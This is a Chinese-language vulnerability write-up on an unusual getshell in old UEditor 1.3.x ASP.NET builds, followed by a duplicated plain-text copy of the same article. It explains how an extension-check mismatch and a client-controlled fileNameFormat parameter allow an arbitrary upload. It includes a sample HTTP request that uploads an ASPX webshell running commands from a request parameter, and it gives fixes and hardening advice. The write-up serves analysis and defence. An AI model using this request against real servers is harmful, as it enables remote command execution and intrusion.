记一次ueditor老版本的非常规getshell
字数 1387 2025-08-26 22:11:34

UEditor 1.3.x ASP.NET 非常规Getshell漏洞分析与利用

漏洞概述

本文档详细分析UEditor 1.3.x版本(ASP.NET实现)中存在的一个非常规文件上传漏洞,该漏洞不同于常见的UEditor 1.4.3远程文件加载漏洞,而是由于文件后缀处理逻辑缺陷导致的getshell方法。

漏洞环境

  • 影响版本:UEditor 1.3.x(ASP.NET实现)
  • 受影响文件:\ueditor3\net\fileUp.ashx
  • 相关代码文件:\ueditor3\net\Uploader.cs

漏洞原理分析

1. 文件后缀获取逻辑缺陷

Uploader.cs文件的190行附近,存在自定义的文件后缀获取函数,其逻辑如下:

// 伪代码表示
string GetFileExtension(string filename)
{
    string[] parts = filename.Split('.');
    return "." + parts[parts.Length - 1];
}

该函数存在以下问题:

  • 当传入的文件名不含点字符(如"pdf")时,分割后数组只有一个元素"pdf"
  • 函数会返回".pdf",从而可能绕过白名单检查

2. 文件名生成机制缺陷

文件名生成过程存在两个关键问题:

  1. 随机生成参数可控

    • 文件名格式由前端fileNameFormat参数控制(默认格式为{filename}{rand:6}
    • 攻击者可以将其修改为固定字符串,绕过随机化
  2. 后缀获取方法不一致

    • 白名单检查使用自定义的GetFileExtension方法
    • 实际保存时使用ASP.NET自带的Path.GetExtension(filename)方法
    • 对于"pdf"这样的输入:
      • 自定义方法返回".pdf"
      • Path.GetExtension返回空字符串

漏洞利用步骤

1. 确认目标环境

  • 确认存在\ueditor3\net\fileUp.ashx路径
  • 确认网站使用ASP.NET技术栈
  • 确认UEditor版本为1.3.x系列

2. 构造恶意请求

关键请求参数:

  • 设置fileNameFormat为固定值(如shell.aspx
  • 上传文件名不包含点字符(如直接使用aspx

示例请求:

POST /ueditor3/net/fileUp.ashx HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="fileNameFormat"

shell.aspx
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="aspx"
Content-Type: application/octet-stream

<%@ Page Language="C#" %>
<%
    System.Diagnostics.Process.Start(Request["cmd"]);
%>
------WebKitFormBoundaryABC123--

3. 漏洞利用结果

  • 上传的文件将被保存为shell.aspx
  • 由于后缀检查被绕过,恶意ASPX文件将被成功上传
  • 访问上传的webshell即可执行系统命令

漏洞限制条件

  1. 版本限制

    • 仅影响UEditor 1.3.x系列的ASP.NET实现
    • 不影响1.4.x及以上版本
    • 不影响PHP/JSP实现
  2. 配置限制

    • 需要fileUp.ashx文件可访问
    • 上传目录需要有执行权限

防御措施

1. 升级建议

  • 升级到UEditor最新版本
  • 如无法升级,至少升级到1.4.3以上版本

2. 代码修复

对于必须使用1.3.x版本的情况:

  1. 修改Uploader.cs中的后缀获取逻辑:
string GetFileExtension(string filename)
{
    // 使用标准方法获取后缀
    string ext = Path.GetExtension(filename);
    if(string.IsNullOrEmpty(ext))
    {
        return string.Empty;
    }
    return ext.ToLower();
}
  1. 加强文件名生成控制:
    • 禁止前端控制fileNameFormat参数
    • 使用强随机数生成文件名

3. 服务器配置

  • 限制上传目录执行权限
  • 对上传文件进行内容检查
  • 设置文件上传黑白名单

总结

该漏洞展示了在文件上传功能中,由于前后逻辑不一致和安全检查不严谨导致的getshell风险。特别值得注意的是:

  1. 自定义函数与系统函数行为差异导致的绕过
  2. 前端可控参数未做充分过滤
  3. 版本间差异导致的非预期行为

对于安全研究人员,此案例提醒我们在测试时应当:

  • 关注不同版本间的实现差异
  • 仔细分析自定义函数逻辑
  • 检查前后端参数处理的一致性
UEditor 1.3.x ASP.NET 非常规Getshell漏洞分析与利用 漏洞概述 本文档详细分析UEditor 1.3.x版本(ASP.NET实现)中存在的一个非常规文件上传漏洞,该漏洞不同于常见的UEditor 1.4.3远程文件加载漏洞,而是由于文件后缀处理逻辑缺陷导致的getshell方法。 漏洞环境 影响版本:UEditor 1.3.x(ASP.NET实现) 受影响文件: \ueditor3\net\fileUp.ashx 相关代码文件: \ueditor3\net\Uploader.cs 漏洞原理分析 1. 文件后缀获取逻辑缺陷 在 Uploader.cs 文件的190行附近,存在自定义的文件后缀获取函数,其逻辑如下: 该函数存在以下问题: 当传入的文件名不含点字符(如"pdf")时,分割后数组只有一个元素"pdf" 函数会返回".pdf",从而可能绕过白名单检查 2. 文件名生成机制缺陷 文件名生成过程存在两个关键问题: 随机生成参数可控 : 文件名格式由前端 fileNameFormat 参数控制(默认格式为 {filename}{rand:6} ) 攻击者可以将其修改为固定字符串,绕过随机化 后缀获取方法不一致 : 白名单检查使用自定义的 GetFileExtension 方法 实际保存时使用ASP.NET自带的 Path.GetExtension(filename) 方法 对于"pdf"这样的输入: 自定义方法返回".pdf" Path.GetExtension 返回空字符串 漏洞利用步骤 1. 确认目标环境 确认存在 \ueditor3\net\fileUp.ashx 路径 确认网站使用ASP.NET技术栈 确认UEditor版本为1.3.x系列 2. 构造恶意请求 关键请求参数: 设置 fileNameFormat 为固定值(如 shell.aspx ) 上传文件名不包含点字符(如直接使用 aspx ) 示例请求: 3. 漏洞利用结果 上传的文件将被保存为 shell.aspx 由于后缀检查被绕过,恶意ASPX文件将被成功上传 访问上传的webshell即可执行系统命令 漏洞限制条件 版本限制 : 仅影响UEditor 1.3.x系列的ASP.NET实现 不影响1.4.x及以上版本 不影响PHP/JSP实现 配置限制 : 需要 fileUp.ashx 文件可访问 上传目录需要有执行权限 防御措施 1. 升级建议 升级到UEditor最新版本 如无法升级,至少升级到1.4.3以上版本 2. 代码修复 对于必须使用1.3.x版本的情况: 修改 Uploader.cs 中的后缀获取逻辑: 加强文件名生成控制: 禁止前端控制 fileNameFormat 参数 使用强随机数生成文件名 3. 服务器配置 限制上传目录执行权限 对上传文件进行内容检查 设置文件上传黑白名单 总结 该漏洞展示了在文件上传功能中,由于前后逻辑不一致和安全检查不严谨导致的getshell风险。特别值得注意的是: 自定义函数与系统函数行为差异导致的绕过 前端可控参数未做充分过滤 版本间差异导致的非预期行为 对于安全研究人员,此案例提醒我们在测试时应当: 关注不同版本间的实现差异 仔细分析自定义函数逻辑 检查前后端参数处理的一致性